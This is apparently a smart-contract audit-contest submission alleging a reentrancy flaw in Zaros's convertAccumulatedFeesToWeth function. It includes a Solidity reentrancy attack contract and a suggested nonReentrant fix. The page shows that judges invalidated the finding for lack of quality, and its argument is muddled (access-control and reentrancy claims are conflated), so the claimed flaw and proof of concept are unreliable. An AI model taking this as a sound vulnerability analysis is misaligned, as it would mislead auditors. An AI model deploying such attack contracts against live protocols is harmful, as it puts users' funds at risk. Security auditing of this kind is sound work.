Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: medium
Invalid

Reentrancy Vulnerability in convertAccumulatedFeesToWeth Function

Summary

The convertAccumulatedFeesToWeth function is vulnerable to reentrancy attacks due to external calls made before updating the contract's internal state, risking unauthorized fund manipulation.


Vulnerability Details

Despite the access control provided by the onlyMarketMakingEngine modifier, the lack of additional authorization checks permits a compromised MarketMakingEngine to withdraw funds on behalf of any user, representing a significant security risk that must be mitigated.

The convertAccumulatedFeesToWeth function in the contract is designed to convert accumulated fees from various assets into WETH. This function performs external calls to swap strategies, such as executeSwapExactInputSingle or executeSwapExactInput, before updating the contract's internal state.

This sequence of operations exposes the function to reentrancy attacks, where an attacker can re-enter the function during the external call and manipulate the receivedWethX18 value or other state variables. This breaks the security guarantee of maintaining consistent state and protecting against unauthorized fund withdrawals. A malicious actor could exploit this by crafting a reentrant contract that calls back into the function, leading to potential financial losses and system instability.


Impact

Rating this as Medium because it can lead to unauthorized manipulation of funds and inconsistent contract state. However, the likelihood depends on the security of the external swap strategy contracts. Nonetheless, the complexity of executing a successful reentrancy attack may deter some attackers, but the potential for exploitation remains.


POC

Sample malicious contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "./FeeDistributionBranch.sol";
contract ReentrancyAttack {
FeeDistributionBranch public target;
bool public reentered;
// Dummy parameters for the vulnerable call.
uint128 public marketId;
address public asset;
uint128 public dexSwapStrategyId;
bytes public path;
constructor(
address _target,
uint128 _marketId,
address _asset,
uint128 _dexSwapStrategyId,
bytes memory _path
) {
target = FeeDistributionBranch(_target);
marketId = _marketId;
asset = _asset;
dexSwapStrategyId = _dexSwapStrategyId;
path = _path;
}
// Fallback function triggers reentrancy
fallback() external {
if (!reentered) {
reentered = true;
// Re-enter convertAccumulatedFeesToWeth during external call.
target.convertAccumulatedFeesToWeth(marketId, asset, dexSwapStrategyId, path);
}
}
// Attack entry point
function attack() external {
target.convertAccumulatedFeesToWeth(marketId, asset, dexSwapStrategyId, path);
}
}

The attacker deploys the ReentrancyAttack contract with parameters that satisfy the vulnerable function's requirements.

attack() is called, the contract invokes convertAccumulatedFeesToWeth on the target. During its execution, the vulnerable function makes an external call (to a swap strategy), which triggers the fallback function in ReentrancyAttack.

The fallback function checks if the reentrant call has not yet been made and then re-enters convertAccumulatedFeesToWeth before the internal state is updated, allowing the attacker to manipulate the reward distribution or state variables.


Tools Used

Manual Review


Recommendations

Implement reentrancy guards to prevent re-entry into the function during external calls. Use the Checks-Effects-Interactions pattern to update the contract's state before making external calls.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
function convertAccumulatedFeesToWeth(
uint128 marketId,
address asset,
uint128 dexSwapStrategyId,
bytes calldata path
)
external
onlyRegisteredSystemKeepers
nonReentrant // Add reentrancy guard
{
// ... (initial checks and setup)
if (asset == ctx.weth) {
ctx.receivedWethX18 = ctx.assetAmountX18;
} else {
// External call to swap strategies
if (swapPath.enabled) {
ctx.tokensSwapped = _performMultiDexSwap(swapPath, ctx.assetAmount);
} else if (path.length == 0) {
ctx.tokensSwapped = dexSwapStrategy.executeSwapExactInputSingle(swapCallData);
} else {
ctx.tokensSwapped = dexSwapStrategy.executeSwapExactInput(swapCallData);
}
ctx.receivedWethX18 = wethCollateral.convertTokenAmountToUd60x18(ctx.tokensSwapped);
}
// Internal state update
_handleWethRewardDistribution(market, asset, ctx.receivedWethX18);
emit LogConvertAccumulatedFeesToWeth(ctx.receivedWethX18.intoUint256());
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.